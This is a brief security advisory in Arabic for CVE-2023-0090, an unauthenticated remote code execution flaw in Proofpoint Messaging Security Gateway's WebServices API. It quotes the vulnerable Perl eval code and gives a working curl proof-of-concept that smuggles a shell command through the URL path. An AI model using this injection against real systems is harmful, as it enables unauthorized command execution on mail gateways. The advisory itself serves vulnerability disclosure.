
بوابة بريد Proofpoint الإلكترونية: RCE بدون مصادقة
باحث أمني: ly1g3، ly1g3[at]tuta.io
بصمة GPG: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586
نظرة عامة: تنفيذ التعليمات البرمجية عن بُعد - RCE بدون مصادقة
CVE: CVE-2023-0090
الجدول الزمني:
استغلالات لـ Proofpoint Messaging Security Gateway
مع الوصول إلى WebServices API، يمكن تحقيق RCE بدون مصادقة بصلاحيات المسؤول.
Webservices.pm لا يعقّم مدخلات المستخدم أو يتحقق منها. لا يلزم أي مصادقة للوصول إلى الدالة، لكن يجب تمكين الوصول إلى API في الإعدادات لتتمكن من تنفيذ RCE. يأتي $module مباشرةً من بيانات المستخدم ويتم تقييمه.
my $module = (split(/\//,$uri))[1];
$module = SERVICE_MODULE_PREFIX() . "::\u$module";
...
eval("require $module");
سينشئ ملفًا باسم abc في /tmp/. يتم تشغيل الكود كمستخدم pps.
curl -k -vv "https://192.168.80.80:10010/ws/abc%2bsystem(%60id%20>%20\\\$\{SHELL:0:1\}tmp\\\$\{SHELL:0:1\}abc%60)"